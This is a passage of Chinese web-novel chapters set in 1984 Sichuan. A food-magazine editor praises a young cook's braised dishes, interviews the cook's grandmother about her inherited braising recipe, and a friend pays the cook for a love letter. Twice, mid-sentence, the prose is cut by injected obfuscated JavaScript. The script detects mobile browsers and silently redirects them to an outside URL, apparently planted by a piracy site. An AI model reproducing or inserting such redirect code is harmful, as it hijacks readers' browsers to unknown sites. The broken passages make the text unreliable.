“上回相鸡画了一半，等会伯伯给你画完好不好？”何志远说道。 “好啊好啊。”周沫沫点着脑袋，笑容格外灿烂。 小李有些意外地看了主编一眼，他平时可不会随便给别人拍照的。 珍贵的胶片，不就是用来给这样可爱的宝宝拍照片的吗？何志远心里笃定的想着。 周淼闻声向何志远看来，冲着他点头打了个招呼。 正在煮跷脚牛肉的赵铁英也注意到了何志远三人，把手头的两碗跷脚牛肉给客人上了，笑着迎了出来道：“何主编，**长，小李同志，快里边请，这会还有位置呢。” “要得。”何志远应了一声，笑着和赵铁英说道：“今天我们冲着卤味来的，给我混装八毛钱的五香卤素菜，六毛钱的麻辣卤素菜，再要四两卤牛肉，四两卤猪头肉。” 赵铁英拿出小本子记上，又问道：“要得，素菜给你混起都装点嘛，有啥子不吃的不？” “都要，腐竹给我多装几片嘛，看着就好吃。”何志远说道。 “好，马上给你配。”赵铁英点头。 何志远他们进店坐下，先看了眼菜单，笑道：“菜品的增加倒是非常谨慎，只加了卤素菜和卤牛肉。店里就自家人在帮忙，菜单越精简越容易挣到钱。” “不是菜品越丰富，来的客人越多越挣钱吗？”黄琛不解道。 “**长，你这种想法就纯纯门外汉。”何志远笑着道：“菜品越多，意味着你后厨需要备的食材就越多，一旦食材用量估错，损耗可就全是亏的钱。一般后期增加的菜品，都是在现有食材上去做组合。 比如牛肉烧笋干可以增加一个牛肉烧土豆，用的都是牛腩，可以先把牛腩烧到八成熟，然后再分两锅烧土豆和笋干。 还有肉丝炒一切，也是比较常见的做法，比如豆干、莴笋、鱼香肉丝，每天备一定量的里脊肉就行，蔬菜损耗成本有限。” 黄琛听得连连点头，笑道：“没想到这小小一张菜单，还有如此多门道。” “小小一张菜单，决定的是一家饭店的生死，菜品搭配、定价都是重中之重，能不能挣钱，全看这菜单怎么定。”何志远看着菜单道：“你别瞧这菜单上的菜品不多，但他量走得多，光是这些菜就够他们一家人忙活了。” “小饭店，最是磨人，早上做面条，又要熬跷脚牛肉，还要卖卤味，这钱，活该他们挣，我一点不眼红。” 黄琛听完也是连连点头，听着确实累。 “点个火爆猪肝吧，前天在蓉城吃的火爆猪肝给我吃沉默了，还是周砚炒的好吃。再要两碗跷脚牛肉，离了苏稽别的地方还吃不到。”何志远喊住了路过的赵红，加了两份菜。 周砚听到动静，还出来跟他们打了声招呼。 “你忙你的，不用管我们，忙完咱们再慢慢聊，不耽误你做生意。”何志远笑着说道。 “要得，招待不周，多多担待。”周砚笑着转回厨房，就喜欢这种有分寸感的朋友。 不一会，他们的卤味拼盘就上桌了，五香和麻辣分了两个盘子装。 卤牛肉和卤猪头肉也一起上来。 虽然卤素菜按照菜品不同分开摆了，但这摆盘还是比较随意，没什么美感。 何志远脑袋左右挪了几下，还是放弃了拍照的想法，盘子不是很出彩，灯光也差点意思，瓦数太低，拍不出效果来。 抛开拍照不谈，那这卤素菜和卤牛肉、卤猪头肉看着可太有食欲了。 卤藕、卤土豆切的厚片，和追求薄脆口感的现捞派不同，何志远更喜欢吃厚切的，一般卤香更为浓郁，土豆的口感也会更面一些。 腐竹给的不少，金灿灿的，切成八厘米左右长短，面上泛着油光，堆叠在一起，颇为诱人。 海带打成了结。 豆干给切成了铜钱厚的长条，截面特别细腻紧实。 至于麻辣的，何志远少要了两毛钱。 说是麻辣卤味，其实更准确的说应该是凉拌卤味。 用料应该和上回吃过的凉拌鸡接近。 相比之下，何志远对五香原味更有期待一些。 卤味嘛，吃的就是卤水的原汁原味。 “来，动筷尝尝。”何志远拿起筷子，先夹了一块土豆。 厚切的土豆，一口还吃不完一块，咬了一口，口感是面面的，嚼起来满口荤香。 一块土豆两口吃完，又夹了一片藕。 藕的口感是脆爽的，同样浸透了卤水，脆爽又入味，越嚼越香。 何志远一脸惊艳道：“这土豆和藕火候控的太好了！拿老卤水来卤素菜啊！这本钱下的也太足了吧？卖四毛钱？这味道太巴适了！” 蓉城有几家不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200289|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错的卤味店，他常去光顾，也会点卤素菜。 但从来没见哪家用老卤水来卤素菜的，顶多最后出锅的时候淋一勺老卤水，再淋一勺卤油。 可在周砚这锅卤素菜里，他能明确吃出来用的是老卤水。 荤香太足了，是纯正的猪头肉的香味，一个个猪头累积出来的荤香。 卤素菜的卤水顶多用两回，会变质，味道也会快速变淡。 何志远琢磨了一下，应该是周砚每天要卤的猪头数量足够多，所以敢取出一部分的老卤水加水后用来卤制素菜，同时能够保证老卤水的品质不下降。 据他所知，卤肉、卤鹅、卤鸭数量较多的卤水，每天都会产生多余的卤油。 卤素菜恰恰最为吸油。 这玩法，别家根本没法跟好，味道上的护城河，由此产生。 太狠了！ 他夹了一片卤豆干，这豆干烘干技艺相当有水准，皮肉紧紧相连，内里一点气泡都没有，红亮的色泽由外向内浸透豆干，呈现出渐变的色泽。 尝了一口，外焦里嫩，豆香与卤香的交织，与豆干细嫩的口感给他带来了双重的惊喜。 “这吃起来像是西坝豆腐做的豆干啊？在嘉州范围内，豆香能有这么浓郁的豆干，我只想得起西坝豆腐，而且还是相当正宗的做法！”何志远的身体都坐直了几分，一脸不可思议的又夹了一块豆腐干喂到嘴里，细细品味，满脸赞叹道： “太细嫩了！说是豆腐干，吃起来跟鸡蛋干的口感差不多，卤香、豆香、荤香交织，实在是太香了！” 牛马小李早就把笔记本展开，手里拿着钢笔刷刷记录着何志远的言行。 “我再尝尝这腐竹，我感觉也会有惊喜。”何志远已经迫不及待的夹起了一块腐竹喂到嘴里，细细嚼着，眼睛越发明亮：“就是西坝豆腐！这腐竹的味道太正了！豆香浓郁，卤的火候刚好合适，口感软而不烂，还能保持腐竹条状的美感。” “周砚硬是有水平！素菜都整的这么巴适。” “食材用的太好了！优秀的厨师对于食材的要求就应该是这种标准的！” 何志远眉飞色舞，激动之情溢于言表。 黄琛在旁看得乐不可支，能让何志远这般失态，属实少见。 他什么好东西没吃过，熊掌、鱼翅都不稀奇，今天反倒是被一盘卤素菜给惊艳到了。 “六毛钱、八毛钱一斤的卤素菜，都能吃的这么高兴啊？”黄琛笑问道。 “跟钱没关系，越是简单、便宜的食材，越能展现出厨师的水平。”何志远摆手，“啥子九头鲍、深海鱼翅、熊掌鹿筋，这些山珍海味确实高级，但要说做出来味道能比这盘卤素菜巴适得多，我可一点都不认同。” “你看，一盆西坝的小粒黄豆用石磨磨成豆浆，一半做成了豆腐，再烘成豆腐干。一半煮成豆浆，一张一张的掀起卷成腐竹，挂在竹竿上一条条晒干。最后下入这锅老卤水，卤好上桌变成这一盘卤素菜，你还觉得简单吗？” “我说这是大地的味道！” “是劳动人民的智慧和双手创造出来的美食。” “更是三位大师联手奏响的乐章。” “西坝豆腐大师提供食材，卤味大师养了锅老卤水，最后由周砚完美把控了火候。” “绝味！” PS：加更章节按字数算的，保底六千，然后三千字算加一更。 月初单章说了的哈，没耍赖。这个月争取把欠的都还上！（希望吧~） (本章完) 第170章 你不懂，雪儿她不一样（63k二合一） 第170章你不懂，雪儿她不一样（6.3k二合一） 小李的笔尖在纸上游走的沙沙声格外清脆。 黄琛和隔壁桌客人的脸上，多少带着几分古怪。 这小小一块豆干和腐竹，竟被何志远上升到了这般高度。 不愧是杂志社的副主编！ 何志远又尝了一块海带结，咽下后道：“相比之下，这海带结就显得平平无奇了。” 他接着尝了麻辣口味的卤素菜，微微点头道：“这麻辣红油倒是调的相当不错，但相比之下，我还是更喜欢五香原味，能品味出老卤水的香味，还有食材的本味，别有滋味。” 黄琛笑着道：“我倒是觉得麻辣的滋味更爽利，他这辣味突出的还是香辣，微麻，芝麻特别香，特别是藕和土豆，裹上红油，下酒都是极好的。” “瞧瞧，这就是个人口味不同，喜好自然不同。”何志远也笑了：“瞧那盆里的两种卤味的剩余量，麻辣口味应该还要更受欢迎一些。” “你倒是一点不争论。”黄琛看着他，“读书那会，为了跟小胖争辩一道菜该不该放辣椒，你可是差点和他打起来。” “那会年纪小，太狭隘了，认定了就觉得是对的，必须和人争个高下对错。”何志远笑着摇了摇头，“这些年去的地方多了，吃过不同口味的食物，见过不同的民俗和风土人情，自然有了敬畏和同理心。” “你若知道闽、粤之地，他们把海鲜清蒸、水煮食用，你光想就觉得觉得腥味难除，食之无味。可他们知道我们把海鲜拿来红烧、爆炒，又是拍着大腿骂我们暴殄天物。” “有道理。”黄琛点头，好奇道：“那海鲜水煮就啥也不放？那能吃吗？” 何志远笑道：“倒也不是啥也不放，葱姜料酒还是会放的，用他们的话来说，吃的就是一个鲜味。但我吃不太惯，实在是有些过于寡淡，至少要配个好吃点的蘸碟嘛。” 说着，他的筷子已经夹起一片卤牛肉，好生端详着，不禁赞叹道：“这牛腱子卤的好漂亮，色泽红亮，切开后筋膜如琥珀般点缀其上，肉感看着就颇为紧实，牛肉品质好，火候把控的也很到位，不像有些卤牛肉一切开，看着就十分松散，吃起来发干发柴。” “张老太的卤牛肉，当年可是嘉州一绝。”黄琛道。 何志远把牛肉喂到嘴里，细细咀嚼着，眼睛渐渐明亮起来，咽下后道：“牛肉的口感紧实，嚼起来卤香浓郁，筋膜略微弹牙，吃起来不干不柴，越嚼越香！牛肉选用的应该是黄牛肉，牛肉的味道比较突出，没有让其他香味喧宾夺主。” “说句实在话，这样一份卤牛肉，在蓉城那也是最顶尖的存在。” “这锅老卤水太能打了，不管是卤猪头肉还是卤牛肉，味道都是如此的醇厚，有种穿透灵魂的力量！” 放下筷子，何志远的神情带着几分感慨，“老辈子水平果然高，这一锅老卤水和卤肉的技艺能够传承下来，我们能够坐在这里品尝到这样的美食，何其有幸。” 黄琛和小李都跟着点了点头。 “好了，小李，不写了，动筷子吃饭。”何志远和小李说道，从筷筒里抽了一双筷子递给小李，自己也是拿起筷子扒拉了一口米饭。 小李受宠若惊地接过筷子，把笔记本塞回包里，钢笔别在胸口口袋上，先夹了一块牛肉喂到嘴里。 嗯，好吃！ 卤香浓郁，肉感十足，越嚼越香。 再吃卤素菜，各具风味，特别是卤腐竹，吃起来简直比肉都香。 周砚的水平确实高啊！ 这卤味就算在蓉城，那也绝对是头一档的存在，只要能把名声做起来，生意肯定不会差。 吃过午饭，黄琛回去上班，何志远和小李就在门外的长椅上坐着。 何志远拿着相机，给周沫沫单独拍了照片。 “茄子！”周沫沫坐在小板凳上，笑眯眯地对着镜头比了个耶。 “好，咱们站着再拍一张。”何志远笑着指挥道，为了保险起见，这次他拍两张，避免再出现模糊洗不出来的情况。 临近一点钟，工人们吃完回去午休，准备上班，后厨也是停歇了下来。 周砚解了围裙从厨房出来，手里提着一只打包好的猪蹄放在二八大杠的车篮里，推上车出门，看着坐在树下的何志远和小李道：“何主编，让你们久等了，咱们出发去周村吧。” “刚好坐着消消食，走嘛。”何志远笑着说道，把相机交给小李，挎上自行车。 “伯伯，锅锅，再见！”周沫沫站在门口，冲着他们挥了挥小手。 “沫沫小朋友，再见。”何志远笑着挥手道。 去周村的路上，何志远与周砚并排骑行，夸赞道：“你这卤素菜和卤牛肉味道太巴适了，特别是卤豆干和卤腐竹，用的是西坝豆腐吧？” “何主编的嘴巴确实灵啊，这都能吃出来？”周砚一脸诧异地侧头看着他，他可从没跟客人说过豆腐干和腐竹的来历，何志远竟然吃出来了。 “我做过一期西坝豆腐宴，吃过那的豆腐干和腐竹，印象深刻。”何志远解释道，“不过那会我们找的是当地公认的豆腐大师，可今天我尝着你这豆腐干和腐竹，竟是丝毫不逊于那位大师，莫非你是去西坝拿的货？” 西坝镇也是嘉州下辖乡镇，距离苏稽有数十公里。 谈不上遥远，但也不算近。 周砚这豆腐干才卖六毛钱一斤，用得着大老远跑西坝去进货？ 豆腐干虽比豆腐更容易运输，但依旧难以长时间储存。 西坝豆腐的特殊性，除了用的当地小粒黄豆，工艺有些不同之外，还和当地的凉水井息息相关。 有一种说法，西坝的豆腐大师离开了西坝就做不出好的西坝豆腐了。 “我姨婆是从西坝嫁到苏稽的，祖传的做豆腐手艺，从我奶奶那一辈开始，就是用的她做的豆腐干和腐竹。”周砚笑着说道：“她的手艺，就算在西坝，也当得起豆腐大师四个字吧。” “在苏稽能做出这等品质的豆腐，大师二字，实至名归啊！”何志远点头，带着几分感慨道：“这么看来，你们这一家，也算是美食世家了。” 周砚闻言笑了笑，准确的说，他们应该算宰牛世家。 周村世代杀牛，到他这里把路子岔开了。 老太太的卤味确实做得好，但要不是他展露天赋，多半也是后继无人。 曾经被老太太寄予厚望的赵铁英同志，是被老太太拿着竹条打出厨房的。 路上，周砚把老太太的一些基本情况跟何志远说了，包括她从哪一年开始在苏稽桥头摆摊卖卤肉，后来是怎么靠着一锅卤肉把五个孩子拉扯长大。 他说的比较简略，主要是提了几个时间点，好让何志远提问的时候有的放矢。 以周砚对老太太的观察，很多事情她的记忆可能已经模糊，提起时间节点她或许能记得一些事情。 何志远不时点头，坐在后座的小李伸长了脖子认真听着，生怕错漏一个字。 回头到地方主编问起他答不上来，可就丸辣！ “慢点，这村道有点颠簸。”周砚提醒道。 “这算好的了，你是没见过真正颠簸的路，骑完勾子都不想要了。”何志远笑道，“听说你们村有个‘杀牛周村’的雅号，家家户户都杀牛吗？” 这不是赫赫凶名吗？文化人还是会说话。周砚笑着应道：“也不是家家户户都杀，但论杀牛规模，目前确实是嘉州前列的。” 这个点村里没什么人在路上，周砚打了几声招呼，便带着何志远在老宅门前停下，“就这了。” 何志远把车停好，周砚当先往虚掩着门的院子里走去，一边喊道：“奶奶！” “进来嘛。”堂屋里传来了老太太的声音。 何志远和小李跟着进门，院子收拾的很干净，角落里搭了个鸡棚，听动静应该养了不少鸡、鸭、鹅。 一进堂屋，抬头便瞧见墙上挂着两块“一等功臣之家”的红底金字牌匾。 两人的神情顿时肃穆了几分。 黄琛跟他说了老周家一门双一等功臣的事迹，当时只觉得家风忠烈，看到这两块牌匾的时候，扑面而来的压迫感，顿时感觉不太一样。 丈夫牺牲在抗美援朝的战场上，小儿子在对越反击战中重伤归来，功勋卓著，令人钦佩。 作为妻子和母亲，这两块牌子的重量，不言而喻。 一个身材瘦削，但腰背笔直的老太太提着暖壶从厨房出来，看着三人笑着说道：“来了啊，都坐嘛，不用客气，我给你们泡杯茶。” “您客气了。”何志远看着老太太说道，脸上多了几分钦佩之色。 “一块是我爷爷的，一块是我小叔的。”周砚给二人介绍道。 “功臣之家，实至名归。”何志远由衷感慨道。 “保家卫国，他们都说是应该的。”老太太抬头看着两块牌匾笑了笑，“也确实是应该的，不然哪有我们现在的好日子过。” 何志远和小李坐下，周砚把猪蹄放在桌上，过来帮着端茶道：“奶奶，给你带了个卤猪蹄。” “要得，那我晚上又不用做饭了。”老太太笑着点头，在一旁的椅子上坐下，看着何志远和小李道：“你们是记者？” “张老太太您好，我们不是记者，我是《四川烹饪》杂志社的副主编何志远，这位是助理小李。”何志远面带微笑的自我介绍道，“今天登门造访，是想要采访您经营张记卤味的经历和传承，做一期关于卤味传承背后的故事专访。” 老太太笑盈盈道：“周砚说上你们杂志的都是大师，我一个乡下老太婆卤个卤菜，也能上？” “我们今天中午是在周砚的饭店吃的，吃了卤素菜和卤牛肉、卤猪头肉，味道太巴适了，是我吃过最好的卤味。”何志远一脸认真道：“周砚的手艺是从你这里传承下来的，您自然当得起卤味大师之名。” “看来周砚也没有胡扯。”老太太微微点头，“那你想知道啥子，你就问嘛，我要是记得起就跟你摆。” “要得。”何志远面露喜色，老太太性格倒是极好，太配合了。 之前遇到过一些老辈子，牛脾气，怎么都说不通，要是说急了，还抄起拐杖打他。 不就问个配方嘛，又不是非得回答，**就过份了吧。 小李也是快速从布包里取出笔记本，取出两只钢笔摆在桌上，还把包里的墨水瓶拧开放一旁。 以他的经验来说，自愿接受采访的老辈子都很能说，费人、费笔、费墨水。 何志远见小李已经做好准备，便开口问道：“老太太，您是从什么时候学的卤菜，又是从谁的手中学得这门手艺的？” 老太太陷入了沉思，过了一会才开口：“卤菜的手艺是跟我老娘学的，从我记事起，我们家就在做卤味，我老娘、老汉每天卤一锅猪头和一锅素菜挑去赶集卖。 我是家里的老大，下面有个弟弟和两个妹妹，从小就帮着削土豆、藕，再大一些就刮猪毛、洗肥肠。 我老娘说这手艺是她老汉传给她的，我外公以前在蓉城大官家里头当大厨，是当时蓉城有名号的红案大师。 后来世道动荡，生存艰难，我外公违背祖训把卤味秘方和制作方法教给我老娘，我们一家才靠着这一锅卤味活了下来。 后来老娘把手艺和秘方也教给了我，十八岁的时候，经人介绍认识了周毅，我嫁到了苏稽……” 周砚坐在一旁安静听着，老太太的语调颇为轻松，和小李刷刷的笔触声交相呼应。 狸花猫趴在一旁的椅子上，打着轻鼾。 老太太讲了一些刚到周村的事情，这些是周砚之前在她的记忆碎片中没有看到的。 “我刚嫁过来的时候，周毅老汉给他分家，分给我们的土夯房墙上满是缝缝，屋顶也全是洞，一到下雨天，外头大雨里头小雨，风穿堂而过，日子简直没法过。 但周毅勤快，杀牛之余每天闲暇的时候就补墙、修屋顶，快到冬天的时候终于把破房子修补好了。 家里还是穷，日子过的紧巴巴的，连棉衣都没得一件，我就想着做卤菜。牛肠、牛肚这些边角料收拾收拾，用卤水一卤，大家都说味道好，说干就干。 先在青衣江旁边卖，因为价格实惠，味道巴适，卖的还可以。 积累了一些本钱，我就开始卤猪头，天天挑到苏稽石板桥头卖，生意越做越好，卤肉从十斤卖到二十斤、一百斤，挑不动了，就买了头驴，弄了辆驴车……” 老太太讲的不疾不徐，讲到生意日渐变好的时候，脸上露出了笑容，说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200290|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到丈夫随军出川，眉头又不自觉皱了起来。 后边的故事，周砚大多在她的记忆中看过。 几十年过去，确实出现了一些偏差，但总体来说，老太太的记性还是不错的，很多事情都记得清清楚楚。 关于嘉州饭店来进货的事，被她全部略去，只说会有一些嘉州的食客闻名而来。 绝不背刺合作伙伴，老太太的底线还是相当高的。 何志远不时提问几句，对于感兴趣的话题展开讨论，大多数时候都是听老太太讲。 这龙门阵一摆就是两个小时。 小李将钢笔盖上，拧英雄牌墨水瓶盖的时候，手都是抖的。 又是一万三。 命真苦。 何志远听得眼眶红红，颇为感动，开口道：“老太太，您这一锅卤味的传承，听得我泪包包都包起了！ 从您外公传承下来的这一锅卤水，养活了三代人，也成了一代苏稽人的美食记忆。如今传到周砚手里，正在成为新一代苏稽人的舌尖新宠。 我能不能给你拍一张照片，如果到时候文章能上杂志的话，可以作为插图配文。” 老太太整理了一下衣裳，点头道：“要得，你拍嘛。” “你坐这里就可以。”何志远取出相机，往后退了两步。 老太太穿着一件素净的蓝色斜襟布衫，坐在堂屋的上座，神色平静而从容，身后挂着两块一等功臣之家的牌匾，旁边挂着周老爷子的相片。 何志远按下快门的时候，眼眶里含着热泪。 这不止是一锅卤味，而是将这个大家庭紧紧系在一起的纽带，带子就攥在老太太的手里。 收起相机，何志远看着老太太说道：“老太太，回头照片洗出来了，我寄给周砚，让他交给你。等杂志发行了，我也给你寄一本。” “要得，辛苦你们。”老太太点头，面带微笑将他们送出门。 “何主编，需不需要我奶奶卤一锅卤味？”回去的路上，周砚问道。 “不用，老太太说了，你的卤肉和卤素菜比起她丝毫不差，何必再让老人家辛苦一阵。”何志远笑着摇头，满脸感慨道：“周砚，你对人物的选择太敏锐了，这绝对是我今年采访到的最好的故事之一，比起孔派的传承也是丝毫不弱。 家国情怀为底色，又体现了那个时代背景下的四川女人自强不息的精神，这一锅卤味不仅是苏稽人的美味记忆，也是奉献精神的传承。” “何主编总结的太好了。”周砚连连夸赞，何志远升华主题的水平是比他高不少。 挺好的，立意越高，越容易上杂志。 小小苏稽，连着有人上杂志，还都和他有关联。 立意要是不够高，怕是很难让人信服。 何志远看着周砚道：“要不你再带我去看看你哪位姨婆？我倒是颇为好奇，在这苏稽如何做出这等正宗的西坝豆腐。我想做一点采访作为补充。” 周砚抬手看了眼表，无奈摇头：“何主编，不好意思，我现在得回去为晚上的营业做准备。刚好明天下午我打算带我姨婆去看看腿和眼睛，到时候你们二位跟我同去？ 或者明天早上，你们可以去石板桥头找我老表，他每天早上都在石板桥头卖豆腐，豆腐摊上立了个‘无声豆腐’的招牌，很好找。你们要是时间紧张，可以直接去找他，我给你们写张纸条，让他带你们去家里采访。” 何志远点头：“要得，我们明天下午要回蓉城，你没得空，那就我们自己去找嘛。” 周砚停下车，掏出账本和钢笔，简单写了几句话，撕下来递给何志远。 回到镇上，两人在石板桥头分别，周砚回了饭店，何志远他们则往招待所的方向骑去。 “主编，老太太这一篇，你有把握见刊吗吗？她毕竟不算专业厨师。”小李好奇问道。 何志远笑着问道：“小李，什么才算专业厨师呢？” 小李认真想了想，“至少也是在饭店后厨干过几年，或者拿到认证的厨师级别吧。” “狭隘了。”何志远摇头，“只要能做出让大多数食客觉得美味的食物，那就是专业厨师。让大多数客人吃得满意，吃的高兴，才是评判一个厨师是否专业的标准。” “张老太这卤味的手艺，在凉菜师傅里边那就是一等一顶尖的存在，师承清末的川菜大师，家传的手艺，传到第四代，周砚还有这等水准，说是嘉州第一卤，那也是实至名归的。” “就是如今的周砚，抱着他这一锅老卤水上蓉城，哪家饭店不抢着要？” 小李听完连连点头，“主编说得对，是我狭隘了。” 周砚骑着车回到饭店，便看到**和黄兵兄妹俩正在饭店门口跟周沫沫玩。 “锅锅！”周沫沫瞧见周砚，立马开心地跑了过来。 俩人也是笑着起身招呼： “周老板。” “砚哥。” “今天晚上怎么来的这么早？开门还要有一会呢。”周砚揉了揉周沫沫的头发，看了眼手表，刚好四点半。 “这不是看你上杂志了，特意来找你签名的嘛。”**拿出两本杂志，往周砚面前一递，笑盈盈道：“来吧，周老板，给我签个名。” “我又不是作家，也不是明星，一个厨子签什么名？”周砚看着两本杂志笑道。 “跷脚牛肉上了杂志封面啊！还有两页专访。砚哥，你也太谦虚了！你以后肯定要成名厨的。”黄兵笑着递上一本杂志，笑容谄媚：“给我也签一本，你字好看，再给我写一句话嘛，就写：包谷雪，我一定会经受住你的考验，成为你最忠诚的战士！” 周砚：“啊？” **：“啧！黄兵，你好恶心啊。你出去别说是我哥啊，我感觉好丢人啊。那什么包谷雪就钓你玩的，除了要钱就是要礼物，你还真上头了啊？” “你不懂，雪儿她不一样。”黄兵一脸无所谓：“再说了，钓鱼怎么了？要是每天都钓我，那和爱我有什么区别？” 周砚取下口袋上别着的派克钢笔，刷刷签下自己的名字，伸手拍了拍黄兵的肩膀道：“兄弟，别听那娘们说什么考验你，记住了，在我们国家，只有党和人民才有资格考验你。” 今天没有加更，明天加！求月票~ (本章完) 第171章 我真该死（68k二合一） 第171章我真该死……（6.8k二合一） 黄兵拿着杂志，看着周砚愣住了，认真琢磨着他的话。 周砚接过**手里的两本杂志，把名字签上。 虽然他也不知道为什么要在一碗跷脚牛肉旁边签名，但毕竟这是饭店年卡VIP，这种不算离谱的要求，尽量满足。 这兄妹俩，每天来店里消费七块，极其稳定。 周砚收起钢笔，看了眼黄兵。 他生平最讨厌舔狗了。 有这功夫，不如多挣点。 还有！ 1984年，在嘉州骑嘉陵70当舔狗？ 人怎么能同时拥有嘉陵70和自卑呢？ 黄师傅也是个神人。 **喜滋滋的收起杂志，给黄兵翻了个白眼：“就是！你要真上头了，就跟她回家搬包谷，别回来了，看到就烦。” “**，你……你这就有点过分了啊。”黄兵急了。 “我才懒得管你，反正花的不是我的零花钱。”**撇撇嘴，转而看向周沫沫：“走，沫沫，我们继续画画吧。” “嗯嗯！”周沫沫点着脑袋，牵住了**的手。 黄兵一脸羡慕的看着周砚的脸：“我要长成你这样，雪儿肯定不会考验我了。” 不过他很快就推翻了这个想法，“如果我长成这样，该接受考验的应该是她了吧？” 周砚看着他，这家伙叽里咕噜说什么呢？ “砚哥，你该不会还没谈过恋爱吧？”黄兵突然问道。 “女人只会耽误我挣钱的速度。恋爱？狗都不谈。”周砚撇撇嘴。 “你你你……简直是暴殄天物！”黄兵恨铁不成钢，“我要是长成你这样，我一个星期换一个女朋友！” “那你大概率要吃花生米的。”周砚认真道。 “算了算了，不说这个，我上个月那个女朋友，前几天跟我小弟好上被我撞见了，不要脸的狗男女！现在追的这个雪儿是个文艺女青年，光刷礼物怕是追不到手。”黄兵往周砚身边凑了凑，低声道：“砚哥，你的字那么好看，会写情书吧？” “情书？”周砚有点迟疑，他给夏瑶写的不算吧？ 黄兵从他的迟疑中看到了希望，连忙道：“不白写，你帮我写一封情书，我给你一块钱代笔费。” “一块？”周砚手指动了一下。 “再加一块！”黄兵咬牙道，“只要写一页纸就行！” 周砚笑着握住了他的手，笑容诚挚：“什么钱不钱的，我们是朋友嘛。” 这字不白练啊，一页情书挣两块，抵得上来福卖两板豆腐了。 情书他没写过，但情书老王子的笔记他没少记啊。 开场语，结束语，还有各种文艺语录，信手拈来。 周砚看了眼表，笑着道：“走，现在就给你写。” “要得！”黄兵乐呵呵地跟着进门。 一旁的**抬起头，无奈摇头。 十分钟后，黄兵拿着一张信纸喜滋滋地出门来，嘴里还念着：雪儿，见字如晤，展信舒颜…… 柜台旁，周砚的把两块钱放进钱箱，美滋滋转身进了厨房。 加钱哥还是爽快，十分钟两块钱到账，这钱太好赚了。 “写得太好了，文采斐然！这两块钱可真值！”黄兵连连称赞，雪儿看了肯定会答应。 “我看看。”**凑了过来。 “小姑娘家家看什么。”黄兵立马把信折好收到贴身口袋里。 “爬！不给就算球！”**咬牙切齿。 …… 晚上。 招待所二楼，房间里。 小桌上摊开两张油纸，装着卤猪头肉和卤牛肉。 桌上摆着三个酒杯。 何志远和黄琛相对而坐，举杯畅饮。 不胜酒力的小李已经躺在床上呼呼大睡。 黄琛夹了一块猪头肉喂到嘴里，一边嚼一边感慨道：“没想到这张记卤味的背后，竟然还有这样一段故事，还得是你才能挖出来啊，我这十年来时常去老周家慰问，都没听张老太提起过。” “你不晓得很正常，这些事情，老辈子一般不得摆。”何志远抿了口酒，开口道：“傍晚的时候我去转了一圈，桥头、码头那边摆摊卖汤锅的个体户还不少，我和小李粗略统计了一下，足有十二家，都是周村的杀牛匠家属自产自销，也算形成了一定的规模。” “汤锅确实不少见，周村杀牛匠规模这两年大幅增长，牛杂那些不太好外销，又必须当天进行处理的边角料，就会拉到镇上来做成汤锅卖掉。”黄琛点头，笑着说道：“其实周砚做的跷脚牛肉，就是周村汤锅，不过他做的更好吃，取了个比较特别的名称。” “你分管苏稽经济，我给你提个建议，或许可以尝试推动跷脚牛肉规模化效应。这事要能做成，不光能让做跷脚牛肉的个体户们赚到更多钱，如果能把嘉州的游客吸引到苏稽来，吃喝玩乐样样都是钱，那可就是苏稽发展的机会了。”何志远放下酒杯，笑着道： “你瞧新津的黄辣丁已经名声渐起，不少蓉城老饕会在节假日专程跑到新津去吃野生黄辣丁，做黄辣丁的饭店也是越来越多，生意相当红火。” 黄琛闻言若有所思的点了点头，放下筷子认真请教道：“你见多识广，该如何去推进这件事会比较合适？现在那十多家卖汤锅的摊摊，说实话，味道比起周砚的跷脚牛肉还是差点意思。 莫非让周砚把配方分享出来？这恐怕也不是很合适，人家就是靠着这个挣钱的，生意才刚走上正轨。” “配方就莫想了，周砚这娃娃精明得很，把我嚯的团团转，就是一点秘方都没给我透露，反倒让我心甘情愿的给他打了个广告。”黄琛笑着摇头， “但他也不是吃独食的人，码头上也有家‘周记跷脚牛肉’，是两兄弟开的，我本来以为是别人看周砚的跷脚牛肉卖的红火，跟着改名硬蹭，后来坐下点了一份，发现味道和周砚做的相差无几。” “和老板聊了才晓得，原来那两兄弟是周砚的堂哥，名为周杰和周海，跟周砚学的手艺。码头上六七家卖汤锅的，他们家价格卖的最贵，但生意反倒是最好的。” “我给的建议，是保护好‘周记跷脚牛肉’这块金字招牌。你们去帮周砚把这个商标注册下来，然后严格查处冒名的摊贩，免得后面到处都是‘周记跷脚牛肉’，要是客人来了上当受骗，口碑败坏，就很难做的起来了。” “苏稽不大，有两家高品质的跷脚牛肉，这两年完全撑得起外来的客流，先把招牌做起来。只要跷脚牛肉生意红火，很快镇上其他卖汤锅的个体户就会主动提升手艺，改进汤锅的配方和做法，不断去接近周记跷脚牛肉的水平。” “别家的汤锅我看了，食材是没得问题的，就是手艺稀撇。但只要看到做跷脚牛肉有钱挣，劳动人民自然会绞尽脑汁钻研改进，提升品质，和周记跷脚牛肉对标。” “所有形成规模化的美食，基本上都有这个过程，配料上的差异，得到不同的风味，再过几年，就会呈现出百花齐放的状态，反倒比千篇一律更令人着迷。在这个过程中，必要的监管，不让劣币驱逐良币的情况出现，就是你们应该做的事情。” 黄琛不知什么时候已经拿出了笔记本，手里拿着钢笔刷刷记录着，很快写了半页纸。 